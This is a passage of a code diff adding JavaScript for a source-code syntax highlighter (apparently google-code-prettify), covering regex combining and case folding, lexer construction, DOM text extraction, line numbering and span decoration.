+      if (inverse) { out.push('^'); }
+  
+      for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {
+        var p = charsetParts[i];
+        if (/\\[bdsw]/i.test(p)) {  // Don't muck with named groups.
+          out.push(p);
+        } else {
+          var start = decodeEscape(p);
+          var end;
+          if (i + 2 < n && '-' === charsetParts[i + 1]) {
+            end = decodeEscape(charsetParts[i + 2]);
+            i += 2;
+          } else {
+            end = start;
+          }
+          ranges.push([start, end]);
+          // If the range might intersect letters, then expand it.
+          // This case handling is too simplistic.
+          // It does not deal with non-latin case folding.
+          // It works for latin source code identifiers though.
+          if (!(end < 65 || start > 122)) {
+            if (!(end < 65 || start > 90)) {
+              ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);
+            }
+            if (!(end < 97 || start > 122)) {
+              ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);
+            }
+          }
+        }
+      }
+  
+      // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]
+      // -> [[1, 12], [14, 14], [16, 17]]
+      ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1]  - a[1]); });
+      var consolidatedRanges = [];
+      var lastRange = [];
+      for (var i = 0; i < ranges.length; ++i) {
+        var range = ranges[i];
+        if (range[0] <= lastRange[1] + 1) {
+          lastRange[1] = Math.max(lastRange[1], range[1]);
+        } else {
+          consolidatedRanges.push(lastRange = range);
+        }
+      }
+  
+      for (var i = 0; i < consolidatedRanges.length; ++i) {
+        var range = consolidatedRanges[i];
+        out.push(encodeEscape(range[0]));
+        if (range[1] > range[0]) {
+          if (range[1] + 1 > range[0]) { out.push('-'); }
+          out.push(encodeEscape(range[1]));
+        }
+      }
+      out.push(']');
+      return out.join('');
+    }
+  
+    function allowAnywhereFoldCaseAndRenumberGroups(regex) {
+      // Split into character sets, escape sequences, punctuation strings
+      // like ('(', '(?:', ')', '^'), and runs of characters that do not
+      // include any of the above.
+      var parts = regex.source.match(
+          new RegExp(
+              '(?:'
+              + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]'  // a character set
+              + '|\\\\u[A-Fa-f0-9]{4}'  // a unicode escape
+              + '|\\\\x[A-Fa-f0-9]{2}'  // a hex escape
+              + '|\\\\[0-9]+'  // a back-reference or octal escape
+              + '|\\\\[^ux0-9]'  // other escape sequence
+              + '|\\(\\?[:!=]'  // start of a non-capturing group
+              + '|[\\(\\)\\^]'  // start/end of a group, or line start
+              + '|[^\\x5B\\x5C\\(\\)\\^]+'  // run of other characters
+              + ')',
+              'g'));
+      var n = parts.length;
+  
+      // Maps captured group numbers to the number they will occupy in
+      // the output or to -1 if that has not been determined, or to
+      // undefined if they need not be capturing in the output.
+      var capturedGroups = [];
+  
+      // Walk over and identify back references to build the capturedGroups
+      // mapping.
+      for (var i = 0, groupIndex = 0; i < n; ++i) {
+        var p = parts[i];
+        if (p === '(') {
+          // groups are 1-indexed, so max group index is count of '('
+          ++groupIndex;
+        } else if ('\\' === p.charAt(0)) {
+          var decimalValue = +p.substring(1);
+          if (decimalValue) {
+            if (decimalValue <= groupIndex) {
+              capturedGroups[decimalValue] = -1;
+            } else {
+              // Replace with an unambiguous escape sequence so that
+              // an octal escape sequence does not turn into a backreference
+              // to a capturing group from an earlier regex.
+              parts[i] = encodeEscape(decimalValue);
+            }
+          }
+        }
+      }
+  
+      // Renumber groups and reduce capturing groups to non-capturing groups
+      // where possible.
+      for (var i = 1; i < capturedGroups.length; ++i) {
+        if (-1 === capturedGroups[i]) {
+          capturedGroups[i] = ++capturedGroupIndex;
+        }
+      }
+      for (var i = 0, groupIndex = 0; i < n; ++i) {
+        var p = parts[i];
+        if (p === '(') {
+          ++groupIndex;
+          if (!capturedGroups[groupIndex]) {
+            parts[i] = '(?:';
+          }
+        } else if ('\\' === p.charAt(0)) {
+          var decimalValue = +p.substring(1);
+          if (decimalValue && decimalValue <= groupIndex) {
+            parts[i] = '\\' + capturedGroups[decimalValue];
+          }
+        }
+      }
+  
+      // Remove any prefix anchors so that the output will match anywhere.
+      // ^^ really does mean an anchored match though.
+      for (var i = 0; i < n; ++i) {
+        if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }
+      }
+  
+      // Expand letters to groups to handle mixing of case-sensitive and
+      // case-insensitive patterns if necessary.
+      if (regex.ignoreCase && needToFoldCase) {
+        for (var i = 0; i < n; ++i) {
+          var p = parts[i];
+          var ch0 = p.charAt(0);
+          if (p.length >= 2 && ch0 === '[') {
+            parts[i] = caseFoldCharset(p);
+          } else if (ch0 !== '\\') {
+            // TODO: handle letters in numeric escapes.
+            parts[i] = p.replace(
+                /[a-zA-Z]/g,
+                function (ch) {
+                  var cc = ch.charCodeAt(0);
+                  return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';
+                });
+          }
+        }
+      }
+  
+      return parts.join('');
+    }
+  
+    var rewritten = [];
+    for (var i = 0, n = regexs.length; i < n; ++i) {
+      var regex = regexs[i];
+      if (regex.global || regex.multiline) { throw new Error('' + regex); }
+      rewritten.push(
+          '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');
+    }
+  
+    return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');
+  }
+
+  /**
+   * Split markup into a string of source code and an array mapping ranges in
+   * that string to the text nodes in which they appear.
+   *
+   * <p>
+   * The HTML DOM structure:</p>
+   * <pre>
+   * (Element   "p"
+   *   (Element "b"
+   *     (Text  "print "))       ; #1
+   *   (Text    "'Hello '")      ; #2
+   *   (Element "br")            ; #3
+   *   (Text    "  + 'World';")) ; #4
+   * </pre>
+   * <p>
+   * corresponds to the HTML
+   * {@code <p><b>print </b>'Hello '<br>  + 'World';</p>}.</p>
+   *
+   * <p>
+   * It will produce the output:</p>
+   * <pre>
+   * {
+   *   sourceCode: "print 'Hello '\n  + 'World';",
+   *   //                     1          2
+   *   //           012345678901234 5678901234567
+   *   spans: [0, #1, 6, #2, 14, #3, 15, #4]
+   * }
+   * </pre>
+   * <p>
+   * where #1 is a reference to the {@code "print "} text node above, and so
+   * on for the other text nodes.
+   * </p>
+   *
+   * <p>
+   * The {@code} spans array is an array of pairs.  Even elements are the start
+   * indices of substrings, and odd elements are the text nodes (or BR elements)
+   * that contain the text for those substrings.
+   * Substrings continue until the next index or the end of the source.
+   * </p>
+   *
+   * @param {Node} node an HTML DOM subtree containing source-code.
+   * @param {boolean|number} isPreformatted truthy if white-space in
+   *    text nodes should be considered significant.
+   * @return {SourceSpansT} source code and the nodes in which they occur.
+   */
+  function extractSourceSpans(node, isPreformatted) {
+    var nocode = /(?:^|\s)nocode(?:\s|$)/;
+  
+    var chunks = [];
+    var length = 0;
+    var spans = [];
+    var k = 0;
+  
+    function walk(node) {
+      var type = node.nodeType;
+      if (type == 1) {  // Element
+        if (nocode.test(node.className)) { return; }
+        for (var child = node.firstChild; child; child = child.nextSibling) {
+          walk(child);
+        }
+        var nodeName = node.nodeName.toLowerCase();
+        if ('br' === nodeName || 'li' === nodeName) {
+          chunks[k] = '\n';
+          spans[k << 1] = length++;
+          spans[(k++ << 1) | 1] = node;
+        }
+      } else if (type == 3 || type == 4) {  // Text
+        var text = node.nodeValue;
+        if (text.length) {
+          if (!isPreformatted) {
+            text = text.replace(/[ \t\r\n]+/g, ' ');
+          } else {
+            text = text.replace(/\r\n?/g, '\n');  // Normalize newlines.
+          }
+          // TODO: handle tabs here?
+          chunks[k] = text;
+          spans[k << 1] = length;
+          length += text.length;
+          spans[(k++ << 1) | 1] = node;
+        }
+      }
+    }
+  
+    walk(node);
+  
+    return {
+      sourceCode: chunks.join('').replace(/\n$/, ''),
+      spans: spans
+    };
+  }
+
+  /**
+   * Apply the given language handler to sourceCode and add the resulting
+   * decorations to out.
+   * @param {!Element} sourceNode
+   * @param {number} basePos the index of sourceCode within the chunk of source
+   *    whose decorations are already present on out.
+   * @param {string} sourceCode
+   * @param {function(JobT)} langHandler
+   * @param {DecorationsT} out
+   */
+  function appendDecorations(
+      sourceNode, basePos, sourceCode, langHandler, out) {
+    if (!sourceCode) { return; }
+    /** @type {JobT} */
+    var job = {
+      sourceNode: sourceNode,
+      pre: 1,
+      langExtension: null,
+      numberLines: null,
+      sourceCode: sourceCode,
+      spans: null,
+      basePos: basePos,
+      decorations: null
+    };
+    langHandler(job);
+    out.push.apply(out, job.decorations);
+  }
+
+  var notWs = /\S/;
+
+  /**
+   * Given an element, if it contains only one child element and any text nodes
+   * it contains contain only space characters, return the sole child element.
+   * Otherwise returns undefined.
+   * <p>
+   * This is meant to return the CODE element in {@code <pre><code ...>} when
+   * there is a single child element that contains all the non-space textual
+   * content, but not to return anything where there are multiple child elements
+   * as in {@code <pre><code>...</code><code>...</code></pre>} or when there
+   * is textual content.
+   */
+  function childContentWrapper(element) {
+    var wrapper = undefined;
+    for (var c = element.firstChild; c; c = c.nextSibling) {
+      var type = c.nodeType;
+      wrapper = (type === 1)  // Element Node
+          ? (wrapper ? element : c)
+          : (type === 3)  // Text Node
+          ? (notWs.test(c.nodeValue) ? element : wrapper)
+          : wrapper;
+    }
+    return wrapper === element ? undefined : wrapper;
+  }
+
+  /** Given triples of [style, pattern, context] returns a lexing function,
+    * The lexing function interprets the patterns to find token boundaries and
+    * returns a decoration list of the form
+    * [index_0, style_0, index_1, style_1, ..., index_n, style_n]
+    * where index_n is an index into the sourceCode, and style_n is a style
+    * constant like PR_PLAIN.  index_n-1 <= index_n, and style_n-1 applies to
+    * all characters in sourceCode[index_n-1:index_n].
+    *
+    * The stylePatterns is a list whose elements have the form
+    * [style : string, pattern : RegExp, DEPRECATED, shortcut : string].
+    *
+    * Style is a style constant like PR_PLAIN, or can be a string of the
+    * form 'lang-FOO', where FOO is a language extension describing the
+    * language of the portion of the token in $1 after pattern executes.
+    * E.g., if style is 'lang-lisp', and group 1 contains the text
+    * '(hello (world))', then that portion of the token will be passed to the
+    * registered lisp handler for formatting.
+    * The text before and after group 1 will be restyled using this decorator
+    * so decorators should take care that this doesn't result in infinite
+    * recursion.  For example, the HTML lexer rule for SCRIPT elements looks
+    * something like ['lang-js', /<[s]cript>(.+?)<\/script>/].  This may match
+    * '<script>foo()<\/script>', which would cause the current decorator to
+    * be called with '<script>' which would not match the same rule since
+    * group 1 must not be empty, so it would be instead styled as PR_TAG by
+    * the generic tag rule.  The handler registered for the 'js' extension would
+    * then be called with 'foo()', and finally, the current decorator would
+    * be called with '<\/script>' which would not match the original rule and
+    * so the generic tag rule would identify it as a tag.
+    *
+    * Pattern must only match prefixes, and if it matches a prefix, then that
+    * match is considered a token with the same style.
+    *
+    * Context is applied to the last non-whitespace, non-comment token
+    * recognized.
+    *
+    * Shortcut is an optional string of characters, any of which, if the first
+    * character, gurantee that this pattern and only this pattern matches.
+    *
+    * @param {Array} shortcutStylePatterns patterns that always start with
+    *   a known character.  Must have a shortcut string.
+    * @param {Array} fallthroughStylePatterns patterns that will be tried in
+    *   order if the shortcut ones fail.  May have shortcuts.
+    *
+    * @return {function (JobT)} a function that takes an undecorated job and
+    *   attaches a list of decorations.
+    */
+  function createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns) {
+    var shortcuts = {};
+    var tokenizer;
+    (function () {
+      var allPatterns = shortcutStylePatterns.concat(fallthroughStylePatterns);
+      var allRegexs = [];
+      var regexKeys = {};
+      for (var i = 0, n = allPatterns.length; i < n; ++i) {
+        var patternParts = allPatterns[i];
+        var shortcutChars = patternParts[3];
+        if (shortcutChars) {
+          for (var c = shortcutChars.length; --c >= 0;) {
+            shortcuts[shortcutChars.charAt(c)] = patternParts;
+          }
+        }
+        var regex = patternParts[1];
+        var k = '' + regex;
+        if (!regexKeys.hasOwnProperty(k)) {
+          allRegexs.push(regex);
+          regexKeys[k] = null;
+        }
+      }
+      allRegexs.push(/[\0-\uffff]/);
+      tokenizer = combinePrefixPatterns(allRegexs);
+    })();
+
+    var nPatterns = fallthroughStylePatterns.length;
+
+    /**
+     * Lexes job.sourceCode and attaches an output array job.decorations of
+     * style classes preceded by the position at which they start in
+     * job.sourceCode in order.
+     *
+     * @type{function (JobT)}
+     */
+    var decorate = function (job) {
+      var sourceCode = job.sourceCode, basePos = job.basePos;
+      var sourceNode = job.sourceNode;
+      /** Even entries are positions in source in ascending order.  Odd enties
+        * are style markers (e.g., PR_COMMENT) that run from that position until
+        * the end.
+        * @type {DecorationsT}
+        */
+      var decorations = [basePos, PR_PLAIN];
+      var pos = 0;  // index into sourceCode
+      var tokens = sourceCode.match(tokenizer) || [];
+      var styleCache = {};
+
+      for (var ti = 0, nTokens = tokens.length; ti < nTokens; ++ti) {
+        var token = tokens[ti];
+        var style = styleCache[token];
+        var match = void 0;
+
+        var isEmbedded;
+        if (typeof style === 'string') {
+          isEmbedded = false;
+        } else {
+          var patternParts = shortcuts[token.charAt(0)];
+          if (patternParts) {
+            match = token.match(patternParts[1]);
+            style = patternParts[0];
+          } else {
+            for (var i = 0; i < nPatterns; ++i) {
+              patternParts = fallthroughStylePatterns[i];
+              match = token.match(patternParts[1]);
+              if (match) {
+                style = patternParts[0];
+                break;
+              }
+            }
+
+            if (!match) {  // make sure that we make progress
+              style = PR_PLAIN;
+            }
+          }
+
+          isEmbedded = style.length >= 5 && 'lang-' === style.substring(0, 5);
+          if (isEmbedded && !(match && typeof match[1] === 'string')) {
+            isEmbedded = false;
+            style = PR_SOURCE;
+          }
+
+          if (!isEmbedded) { styleCache[token] = style; }
+        }
+
+        var tokenStart = pos;
+        pos += token.length;
+
+        if (!isEmbedded) {
+          decorations.push(basePos + tokenStart, style);
+        } else {  // Treat group 1 as an embedded block of source code.
+          var embeddedSource = match[1];
+          var embeddedSourceStart = token.indexOf(embeddedSource);
+          var embeddedSourceEnd = embeddedSourceStart + embeddedSource.length;
+          if (match[2]) {
+            // If embeddedSource can be blank, then it would match at the
+            // beginning which would cause us to infinitely recurse on the
+            // entire token, so we catch the right context in match[2].
+            embeddedSourceEnd = token.length - match[2].length;
+            embeddedSourceStart = embeddedSourceEnd - embeddedSource.length;
+          }
+          var lang = style.substring(5);
+          // Decorate the left of the embedded source
+          appendDecorations(
+              sourceNode,
+              basePos + tokenStart,
+              token.substring(0, embeddedSourceStart),
+              decorate, decorations);
+          // Decorate the embedded source
+          appendDecorations(
+              sourceNode,
+              basePos + tokenStart + embeddedSourceStart,
+              embeddedSource,
+              langHandlerForExtension(lang, embeddedSource),
+              decorations);
+          // Decorate the right of the embedded section
+          appendDecorations(
+              sourceNode,
+              basePos + tokenStart + embeddedSourceEnd,
+              token.substring(embeddedSourceEnd),
+              decorate, decorations);
+        }
+      }
+      job.decorations = decorations;
+    };
+    return decorate;
+  }
+
+  /** returns a function that produces a list of decorations from source text.
+    *
+    * This code treats ", ', and ` as string delimiters, and \ as a string
+    * escape.  It does not recognize perl's qq() style strings.
+    * It has no special handling for double delimiter escapes as in basic, or
+    * the tripled delimiters used in python, but should work on those regardless
+    * although in those cases a single string literal may be broken up into
+    * multiple adjacent string literals.
+    *
+    * It recognizes C, C++, and shell style comments.
+    *
+    * @param {Object} options a set of optional parameters.
+    * @return {function (JobT)} a function that examines the source code
+    *     in the input job and builds a decoration list which it attaches to
+    *     the job.
+    */
+  function sourceDecorator(options) {
+    var shortcutStylePatterns = [], fallthroughStylePatterns = [];
+    if (options['tripleQuotedStrings']) {
+      // '''multi-line-string''', 'single-line-string', and double-quoted
+      shortcutStylePatterns.push(
+          [PR_STRING,  /^(?:\'\'\'(?:[^\'\\]|\\[\s\S]|\'{1,2}(?=[^\']))*(?:\'\'\'|$)|\"\"\"(?:[^\"\\]|\\[\s\S]|\"{1,2}(?=[^\"]))*(?:\"\"\"|$)|\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$))/,
+           null, '\'"']);
+    } else if (options['multiLineStrings']) {
+      // 'multi-line-string', "multi-line-string"
+      shortcutStylePatterns.push(
+          [PR_STRING,  /^(?:\'(?:[^\\\']|\\[\s\S])*(?:\'|$)|\"(?:[^\\\"]|\\[\s\S])*(?:\"|$)|\`(?:[^\\\`]|\\[\s\S])*(?:\`|$))/,
+           null, '\'"`']);
+    } else {
+      // 'single-line-string', "single-line-string"
+      shortcutStylePatterns.push(
+          [PR_STRING,
+           /^(?:\'(?:[^\\\'\r\n]|\\.)*(?:\'|$)|\"(?:[^\\\"\r\n]|\\.)*(?:\"|$))/,
+           null, '"\'']);
+    }
+    if (options['verbatimStrings']) {
+      // verbatim-string-literal production from the C# grammar.  See issue 93.
+      fallthroughStylePatterns.push(
+          [PR_STRING, /^@\"(?:[^\"]|\"\")*(?:\"|$)/, null]);
+    }
+    var hc = options['hashComments'];
+    if (hc) {
+      if (options['cStyleComments']) {
+        if (hc > 1) {  // multiline hash comments
+          shortcutStylePatterns.push(
+              [PR_COMMENT, /^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/, null, '#']);
+        } else {
+          // Stop C preprocessor declarations at an unclosed open comment
+          shortcutStylePatterns.push(
+              [PR_COMMENT, /^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\b|[^\r\n]*)/,
+               null, '#']);
+        }
+        // #include <stdio.h>
+        fallthroughStylePatterns.push(
+            [PR_STRING,
+             /^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h(?:h|pp|\+\+)?|[a-z]\w*)>/,
+             null]);
+      } else {
+        shortcutStylePatterns.push([PR_COMMENT, /^#[^\r\n]*/, null, '#']);
+      }
+    }
+    if (options['cStyleComments']) {
+      fallthroughStylePatterns.push([PR_COMMENT, /^\/\/[^\r\n]*/, null]);
+      fallthroughStylePatterns.push(
+          [PR_COMMENT, /^\/\*[\s\S]*?(?:\*\/|$)/, null]);
+    }
+    var regexLiterals = options['regexLiterals'];
+    if (regexLiterals) {
+      /**
+       * @const
+       */
+      var regexExcls = regexLiterals > 1
+        ? ''  // Multiline regex literals
+        : '\n\r';
+      /**
+       * @const
+       */
+      var regexAny = regexExcls ? '.' : '[\\S\\s]';
+      /**
+       * @const
+       */
+      var REGEX_LITERAL = (
+          // A regular expression literal starts with a slash that is
+          // not followed by * or / so that it is not confused with
+          // comments.
+          '/(?=[^/*' + regexExcls + '])'
+          // and then contains any number of raw characters,
+          + '(?:[^/\\x5B\\x5C' + regexExcls + ']'
+          // escape sequences (\x5C),
+          +    '|\\x5C' + regexAny
+          // or non-nesting character sets (\x5B\x5D);
+          +    '|\\x5B(?:[^\\x5C\\x5D' + regexExcls + ']'
+          +             '|\\x5C' + regexAny + ')*(?:\\x5D|$))+'
+          // finally closed by a /.
+          + '/');
+      fallthroughStylePatterns.push(
+          ['lang-regex',
+           RegExp('^' + REGEXP_PRECEDER_PATTERN + '(' + REGEX_LITERAL + ')')
+           ]);
+    }
+
+    var types = options['types'];
+    if (types) {
+      fallthroughStylePatterns.push([PR_TYPE, types]);
+    }
+
+    var keywords = ("" + options['keywords']).replace(/^ | $/g, '');
+    if (keywords.length) {
+      fallthroughStylePatterns.push(
+          [PR_KEYWORD,
+           new RegExp('^(?:' + keywords.replace(/[\s,]+/g, '|') + ')\\b'),
+           null]);
+    }
+
+    shortcutStylePatterns.push([PR_PLAIN,       /^\s+/, null, ' \r\n\t\xA0']);
+
+    var punctuation =
+      // The Bash man page says
+
+      // A word is a sequence of characters considered as a single
+      // unit by GRUB. Words are separated by metacharacters,
+      // which are the following plus space, tab, and newline: { }
+      // | & $ ; < >
+      // ...
+
+      // A word beginning with # causes that word and all remaining
+      // characters on that line to be ignored.
+
+      // which means that only a '#' after /(?:^|[{}|&$;<>\s])/ starts a
+      // comment but empirically
+      // $ echo {#}
+      // {#}
+      // $ echo \$#
+      // $#
+      // $ echo }#
+      // }#
+
+      // so /(?:^|[|&;<>\s])/ is more appropriate.
+
+      // http://gcc.gnu.org/onlinedocs/gcc-2.95.3/cpp_1.html#SEC3
+      // suggests that this definition is compatible with a
+      // default mode that tries to use a single token definition
+      // to recognize both bash/python style comments and C
+      // preprocessor directives.
+
+      // This definition of punctuation does not include # in the list of
+      // follow-on exclusions, so # will not be broken before if preceeded
+      // by a punctuation character.  We could try to exclude # after
+      // [|&;<>] but that doesn't seem to cause many major problems.
+      // If that does turn out to be a problem, we should change the below
+      // when hc is truthy to include # in the run of punctuation characters
+      // only when not followint [|&;<>].
+      '^.[^\\s\\w.$@\'"`/\\\\]*';
+    if (options['regexLiterals']) {
+      punctuation += '(?!\s*\/)';
+    }
+
+    fallthroughStylePatterns.push(
+        // TODO(mikesamuel): recognize non-latin letters and numerals in idents
+        [PR_LITERAL,     /^@[a-z_$][a-z_$@0-9]*/i, null],
+        [PR_TYPE,        /^(?:[@_]?[A-Z]+[a-z][A-Za-z_$@0-9]*|\w+_t\b)/, null],
+        [PR_PLAIN,       /^[a-z_$][a-z_$@0-9]*/i, null],
+        [PR_LITERAL,
+         new RegExp(
+             '^(?:'
+             // A hex number
+             + '0x[a-f0-9]+'
+             // or an octal or decimal number,
+             + '|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)'
+             // possibly in scientific notation
+             + '(?:e[+\\-]?\\d+)?'
+             + ')'
+             // with an optional modifier like UL for unsigned long
+             + '[a-z]*', 'i'),
+         null, '0123456789'],
+        // Don't treat escaped quotes in bash as starting strings.
+        // See issue 144.
+        [PR_PLAIN,       /^\\[\s\S]?/, null],
+        [PR_PUNCTUATION, new RegExp(punctuation), null]);
+
+    return createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns);
+  }
+
+  var decorateSource = sourceDecorator({
+        'keywords': ALL_KEYWORDS,
+        'hashComments': true,
+        'cStyleComments': true,
+        'multiLineStrings': true,
+        'regexLiterals': true
+      });
+
+  /**
+   * Given a DOM subtree, wraps it in a list, and puts each line into its own
+   * list item.
+   *
+   * @param {Node} node modified in place.  Its content is pulled into an
+   *     HTMLOListElement, and each line is moved into a separate list item.
+   *     This requires cloning elements, so the input might not have unique
+   *     IDs after numbering.
+   * @param {number|null|boolean} startLineNum
+   *     If truthy, coerced to an integer which is the 1-indexed line number
+   *     of the first line of code.  The number of the first line will be
+   *     attached to the list.
+   * @param {boolean} isPreformatted true iff white-space in text nodes should
+   *     be treated as significant.
+   */
+  function numberLines(node, startLineNum, isPreformatted) {
+    var nocode = /(?:^|\s)nocode(?:\s|$)/;
+    var lineBreak = /\r\n?|\n/;
+  
+    var document = node.ownerDocument;
+  
+    var li = document.createElement('li');
+    while (node.firstChild) {
+      li.appendChild(node.firstChild);
+    }
+    // An array of lines.  We split below, so this is initialized to one
+    // un-split line.
+    var listItems = [li];
+  
+    function walk(node) {
+      var type = node.nodeType;
+      if (type == 1 && !nocode.test(node.className)) {  // Element
+        if ('br' === node.nodeName) {
+          breakAfter(node);
+          // Discard the <BR> since it is now flush against a </LI>.
+          if (node.parentNode) {
+            node.parentNode.removeChild(node);
+          }
+        } else {
+          for (var child = node.firstChild; child; child = child.nextSibling) {
+            walk(child);
+          }
+        }
+      } else if ((type == 3 || type == 4) && isPreformatted) {  // Text
+        var text = node.nodeValue;
+        var match = text.match(lineBreak);
+        if (match) {
+          var firstLine = text.substring(0, match.index);
+          node.nodeValue = firstLine;
+          var tail = text.substring(match.index + match[0].length);
+          if (tail) {
+            var parent = node.parentNode;
+            parent.insertBefore(
+              document.createTextNode(tail), node.nextSibling);
+          }
+          breakAfter(node);
+          if (!firstLine) {
+            // Don't leave blank text nodes in the DOM.
+            node.parentNode.removeChild(node);
+          }
+        }
+      }
+    }
+  
+    // Split a line after the given node.
+    function breakAfter(lineEndNode) {
+      // If there's nothing to the right, then we can skip ending the line
+      // here, and move root-wards since splitting just before an end-tag
+      // would require us to create a bunch of empty copies.
+      while (!lineEndNode.nextSibling) {
+        lineEndNode = lineEndNode.parentNode;
+        if (!lineEndNode) { return; }
+      }
+  
+      function breakLeftOf(limit, copy) {
+        // Clone shallowly if this node needs to be on both sides of the break.
+        var rightSide = copy ? limit.cloneNode(false) : limit;
+        var parent = limit.parentNode;
+        if (parent) {
+          // We clone the parent chain.
+          // This helps us resurrect important styling elements that cross lines.
+          // E.g. in <i>Foo<br>Bar</i>
+          // should be rewritten to <li><i>Foo</i></li><li><i>Bar</i></li>.
+          var parentClone = breakLeftOf(parent, 1);
+          // Move the clone and everything to the right of the original
+          // onto the cloned parent.
+          var next = limit.nextSibling;
+          parentClone.appendChild(rightSide);
+          for (var sibling = next; sibling; sibling = next) {
+            next = sibling.nextSibling;
+            parentClone.appendChild(sibling);
+          }
+        }
+        return rightSide;
+      }
+  
+      var copiedListItem = breakLeftOf(lineEndNode.nextSibling, 0);
+  
+      // Walk the parent chain until we reach an unattached LI.
+      for (var parent;
+           // Check nodeType since IE invents document fragments.
+           (parent = copiedListItem.parentNode) && parent.nodeType === 1;) {
+        copiedListItem = parent;
+      }
+      // Put it on the list of lines for later processing.
+      listItems.push(copiedListItem);
+    }
+  
+    // Split lines while there are lines left to split.
+    for (var i = 0;  // Number of lines that have been split so far.
+         i < listItems.length;  // length updated by breakAfter calls.
+         ++i) {
+      walk(listItems[i]);
+    }
+  
+    // Make sure numeric indices show correctly.
+    if (startLineNum === (startLineNum|0)) {
+      listItems[0].setAttribute('value', startLineNum);
+    }
+  
+    var ol = document.createElement('ol');
+    ol.className = 'linenums';
+    var offset = Math.max(0, ((startLineNum - 1 /* zero index */)) | 0) || 0;
+    for (var i = 0, n = listItems.length; i < n; ++i) {
+      li = listItems[i];
+      // Stick a class on the LIs so that stylesheets can
+      // color odd/even rows, or any other row pattern that
+      // is co-prime with 10.
+      li.className = 'L' + ((i + offset) % 10);
+      if (!li.firstChild) {
+        li.appendChild(document.createTextNode('\xA0'));
+      }
+      ol.appendChild(li);
+    }
+  
+    node.appendChild(ol);
+  }
+
+  /**
+   * Breaks {@code job.sourceCode} around style boundaries in
+   * {@code job.decorations} and modifies {@code job.sourceNode} in place.
+   * @param {JobT} job
+   * @private
+   */
+  function recombineTagsAndDecorations(job) {
+    var isIE8OrEarlier = /\bMSIE\s(\d+)/.exec(navigator.userAgent);
+    isIE8OrEarlier = isIE8OrEarlier && +isIE8OrEarlier[1] <= 8;
+    var newlineRe = /\n/g;
+  
+    var source = job.sourceCode;
+    var sourceLength = source.length;
+    // Index into source after the last code-unit recombined.
+    var sourceIndex = 0;
+  
+    var spans = job.spans;
+    var nSpans = spans.length;
+    // Index into spans after the last span which ends at or before sourceIndex.
+    var spanIndex = 0;
+  
+    var decorations = job.decorations;
+    var nDecorations = decorations.length;
+    // Index into decorations after the last decoration which ends at or before
+    // sourceIndex.
+    var decorationIndex = 0;
+  
+    // Remove all zero-length decorations.
+    decorations[nDecorations] = sourceLength;
+    var decPos, i;
+    for (i = decPos = 0; i < nDecorations;) {
+      if (decorations[i] !== decorations[i + 2]) {
+        decorations[decPos++] = decorations[i++];
+        decorations[decPos++] = decorations[i++];
+      } else {
+        i += 2;
+      }
+    }
+    nDecorations = decPos;
+  
+    // Simplify decorations.
+    for (i = decPos = 0; i < nDecorations;) {
+      var startPos = decorations[i];
+      // Conflate all adjacent decorations that use the same style.
+      var startDec = decorations[i + 1];
+      var end = i + 2;
+      while (end + 2 <= nDecorations && decorations[end + 1] === startDec) {
+        end += 2;
+      }
+      decorations[decPos++] = startPos;
+      decorations[decPos++] = startDec;
+      i = end;
+    }
+  
+    nDecorations = decorations.length = decPos;
+  
+    var sourceNode = job.sourceNode;
+    var oldDisplay = "";
+    if (sourceNode) {
+      oldDisplay = sourceNode.style.display;
+      sourceNode.style.display = 'none';
+    }
+    try {
+      var decoration = null;
+      while (spanIndex < nSpans) {
+        var spanStart = spans[spanIndex];
+        var spanEnd = /** @type{number} */ (spans[spanIndex + 2])
+            || sourceLength;
+  
+        var decEnd = decorations[decorationIndex + 2] || sourceLength;
+  
+        var end = Math.min(spanEnd, decEnd);
+  
+        var textNode = /** @type{Node} */ (spans[spanIndex + 1]);
+        var styledText;
+        if (textNode.nodeType !== 1  // Don't muck with <BR>s or <LI>s
+            // Don't introduce spans around empty text nodes.
+            && (styledText = source.substring(sourceIndex, end))) {
+          // This may seem bizarre, and it is.  Emitting LF on IE causes the
+          // code to display with spaces instead of line breaks.
+          // Emitting Windows standard issue linebreaks (CRLF) causes a blank
+          // space to appear at the beginning of every line but the first.
+          // Emitting an old Mac OS 9 line separator makes everything spiffy.
+          if (isIE8OrEarlier) {
+            styledText = styledText.replace(newlineRe, '\r');
+          }
+          textNode.nodeValue = styledText;
+          var document = textNode.ownerDocument;
+          var span = document.createElement('span');
+          span.className = decorations[decorationIndex + 1];
+          var parentNode = textNode.parentNode;
+          parentNode.replaceChild(span, textNode);
+          span.appendChild(textNode);
+          if (sourceIndex < spanEnd) {  // Split off a text node.
+            spans[spanIndex + 1] = textNode
+                // TODO: Possibly optimize by using '' if there's no flicker.
+                = document.createTextNode(source.substring(end, spanEnd));
+            parentNode.insertBefore(textNode, span.nextSibling);
+          }
+        }
+  
+        sourceIndex = end;
+  
+        if (sourceIndex >= spanEnd) {
+          spanIndex += 2;
+        }
+        if (sourceIndex >= decEnd) {
+          decorationIndex += 2;
+        }
+      }
+    } finally {
+      if (sourceNode) {
+        sourceNode.style.display = oldDisplay;
+      }
+    }
+  }
+
+  /** Maps language-specific file extensions to handlers. */
+  var langHandlerRegistry = {};
+  /** Register a language handler for the given file extensions.
+    * @param {function (JobT)} handler a function from source code to a list
+    *      of decorations.  Takes a single argument job which describes the
+    *      state of the computation and attaches the decorations to it.
+    * @param {Array.<string>} fileExtensions
+    */
+  function registerLangHandler(handler, fileExtensions) {
+    for (var i = fileExtensions.length; --i >= 0;) {
+      var ext = fileExtensions[i];
